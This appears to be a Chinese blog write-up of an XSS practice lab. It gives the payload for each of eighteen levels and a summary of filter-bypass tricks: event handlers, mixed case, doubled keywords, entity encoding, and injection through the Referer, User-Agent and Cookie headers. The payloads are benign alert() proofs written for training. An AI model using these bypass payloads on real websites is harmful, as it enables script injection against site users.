首页 > 技术文章 > xss靶场练习(7.22)

sdgfsdgfsd 2020-07-22 22:26 原文

靶场地址:http://xss.fbisb.com/

参考的文章:https://www.cnblogs.com/cute-puli/p/10834954.html  感谢大佬的分享

 

做这个题的思路就是  上来直接找输入点或者交互的地方,直接输 <script>alert("xss")</script>  别管他返回什么,直接右键查看源代码 看看 刚才输入的,哪些被过滤了,然后再重新构造 ,重新输入

 

第一关:pass    答案  <script>alert("xss")<script/>

 

第二关:pass    答案   <script>alert("xss")<script/>

 

第三关:以前打通关了一次这个靶场,没想到刚到第三关就卡住,哎,水平还是不行,多努力吧。想到了用 javascript:alert(1)  代替 alert("xss") 但是看到尖括号 < > 被过滤了,第一想到的是用 base64 和 HTML实体编码下绕过,,,行不通,,,最后想起有几个  on*** 开头的函数,可以进行间接弹窗 ,遂查看了解析 ,,,做了出来onmouseover这个函数具体功能我也没看,翻译过来大概就行 当光标移动到图片上的时候就会执行函数      答案    '  onmouseover= ' javascript:alert(1)

 

第四关: 和第三关差不多, 答案 : "  onmouseover= " javascript:alert(1)    或者   " oninput='alert(1)'

 

第五关:  又是一种新奇的,构造 超链接      答案       " /> <a href = "javascript:alert(1)"> sss

 

第六关:只能说脑子不够灵活,其实还是不够细心,前几关想到了用大小写绕过,不过没用,到这关就没想起来再用大小写绕过试试   答案  " /> <a hrEf = "javascript:alert(1)"> sss

 

第七关:双写绕过,答案  :" /> <a hrhrefef = "javascrscriptipt:alert(1)"> sss 

 

第八关:这里又卡了一下,应该是编码绕过,没有想到,只想到了用 双写和大小写绕过..... 只需要编码javascript中的其中一个字母就可以,这里使用的是Unicode编码将 t 转换为  &#116;

答案 :  "  javascrip&#116;:alert(1) "

 

第九关:这关确实有点神奇,查看代码之后发现要求必须是 url 格式,但是不知道为啥,必须得把网站放在中间,若是这样就不行
 javascrip&#116;:%0dalert(1)%0dhttp://www.baidu.com%0d, 答案  javascrip&#116;:%0dhttp://www.baidu.com%0dalert(1)%0d    %0d 指的是 url编码中的空格

 

第十关:这关难度就稍微有点上来,这才是xss该有的样子。这关需要两点,查看源代码之后,首先需要覆盖 hidden 属性,让我们输入的信息能够显示出来,并且构造 函数触发弹框

答案  :11111&t_sort= xxxxx" type="text"   onclick="alert(1)"

 

第十一关:先用   sss&t_sort=sss&t_history=rrr&t_link=ppppp  看看输入的值是哪个 input 接受的,确定之后,怎么构造都不成功,查看教程之后发现。。。这关是通过更改 第十关的refer,再refer中构造代码进行触发弹框   答案:23&t_sort="type="text" onclick="alert(1)              抄的别人的

 

第十二关:同理第十一关,第十二关是更改 user—agent 

 

第十三关:同理,前两关,修改cookie进行注入

 

第十四关:本关因iframe调用的文件地址失效,无法进行测试。要考的应该是通过修改iframe调用的文件来实现xss注入

 

第十五关:查看代码才能知道是文件包含漏洞,答案level15.php?src='level1.php?name=<script>alert(1)</script>'

 

第十六关:这里就略有些难度了,连交互点都没有,难点在于需要自己构造输入点     答案:/level16.php?keyword=<a%0Atype="text"%0Aonclick="alert(1)">

 

第十七关:补充:SWF是一种基于矢量的Flash动画文件格式,一般用FLASH软件创作并生成SWF文件格式,也可以通过相应软件将PDF等类型转换为SWF格式  <火狐浏览器会禁用flash,IE和chrome均可>

答案 :/level17.php?arg01=q&arg02=%20onmouseover=alert(11111)         onmouseover 前面必须有个空格!!!

 

 第十八关:和第十七关一样,注意,要用IE或者火狐浏览器,答案    level18.php?arg01=a&arg02=%20%20%20onmouseover=alert(1)

 剩下的关卡不会做。。。

 

 总结:

XSS测试步骤:

1.检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或HTTP头中的内容(refer,cookie等等)

2.分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

 XSS绕过总结:

xss绕过基本上就是,使用其他函数绕过,大小写绕过,双写绕过,超链接跳转绕过,编码绕过

1.如果过滤了 <>  首先想到用  javascript:alert(1) ,  onmouseover=alert(1) , onclick=alert(1)  这些进行替代(还有不少以 on 开头的函数可以替代,具体可以百度)

2.如果过滤了Script ,可以尝试进行大小写替换(ScRiPt),进行双写绕过(scrscriptipt),进行编码绕过(只对其中的一个字母进行编码即可,HTML编码或者Unicode编码都可以,这里对  t  字母进行 unicode 编码 ,script 编码之后为 scrip&#116;   )

 3.可以尝试进行 <a  href = "">sss  构造 名称为 sss 的超链接 进行跳转弹框绕过

4.如果过滤了 “ 双引号 或者 ‘ 单引号 ,可以用 javascript:alert(1) 或者 <script>alert(1)</script>  进行绕过

 补充:

1.javascript支持unicode、escapes、十六进制、八进制等编码形式。

2.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。 

3.3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.<script>eval("alert('1')")</script>    用eval() 函数也可以进行弹窗

 

推荐阅读